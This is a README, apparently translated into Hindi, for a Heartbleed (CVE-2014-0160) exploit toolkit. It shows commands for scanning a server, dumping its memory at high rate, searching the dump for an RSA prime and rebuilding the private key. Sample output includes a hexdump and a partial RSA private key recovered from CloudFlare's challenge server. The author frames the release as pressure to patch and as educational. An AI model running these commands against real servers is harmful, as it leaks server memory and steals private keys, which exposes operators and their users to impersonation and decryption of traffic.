
OpenSSL Heartbleed (CVE-2014-0160) भेद्यता स्कैनर, डेटा माइनर और RSA key-restore उपकरण।
लेखक: Einar Otto Stangvik / @einaros / https://hacking.ventures
चूँकि रहस्य बहुत पहले ही खुल चुका है, और दूसरों ने अपने उपकरण प्रकाशित करने शुरू कर दिए हैं, मैं भी अपने उपकरण यहाँ रख रहा हूँ। उम्मीद है कि इससे उन लोगों पर दबाव बढ़ेगा जिन्होंने अभी तक अपने सर्वर को पैच या अपग्रेड नहीं किया है। दूसरों को ये उपकरण शैक्षिक मूल्य के लग सकते हैं।
कई अन्य Heartbleed PoCs के विपरीत, यह उपकरण प्रारंभिक ClientHello पैकेट में अधिकांश संभावित सिफर प्रदान करेगा। सर्वर जो भी सिफर चुनता है, उसका उपयोग डंप सत्र में सभी बाद के ClientHello पैकेटों के लिए किया जाएगा। इससे उचित भेद्यता का पता लगाना सुनिश्चित होना चाहिए, साथ ही एक बार सिफर मिल जाने के बाद ओवरहेड भी कम होना चाहिए।
इन उपकरणों का उपयोग अपनी इच्छानुसार करें, लेकिन हम सभी पर एक एहसान करें: समस्याएँ पैदा करने के बजाय उन्हें हल करें।
निम्नलिखित के कार्य और प्रकाशनों से प्रेरित:
यहाँ CloudFlare चैलेंज के एक RSA प्राइम को एक मिनट में 34 बार पुनर्प्राप्त करते हुए देखा गया है। इसका मतलब है एक मिनट में पूर्ण निजी कुंजी 34 बार प्राप्त करना।

# अहस्तक्षेपी मोड का उपयोग करके भेद्यता का परीक्षण करें
# यह N बाइट्स का अनुरोध करेगा, लेकिन स्वयं N-1 की आपूर्ति करेगा, ताकि यदि सर्वर भेद्य है तो वह वास्तव में केवल एक बाइट लीक करेगा। इस मामले में सुझाया गया N 16360 है, क्योंकि इसके परिणामस्वरूप एक एकल TLS रिकॉर्ड प्राप्त होगा:
# 3 + 2 + 1 + 2 + 16360 + 16 बाइट्स = 0xFFFF।
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# CloudFlare के पुराने चैलेंज सर्वर से डेटा डंप करें
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# डंप में प्राइम खोजें
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# एक बार मिलने पर कुंजी निकालें
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
लेखक इस पैकेज के किसी भी भाग पर कोई अधिकार नहीं रख सकता और न ही रखेगा। यह खुले विचारों पर आधारित है, और उसकी चिंता के अनुसार सभी के लिए खुला रहेगा।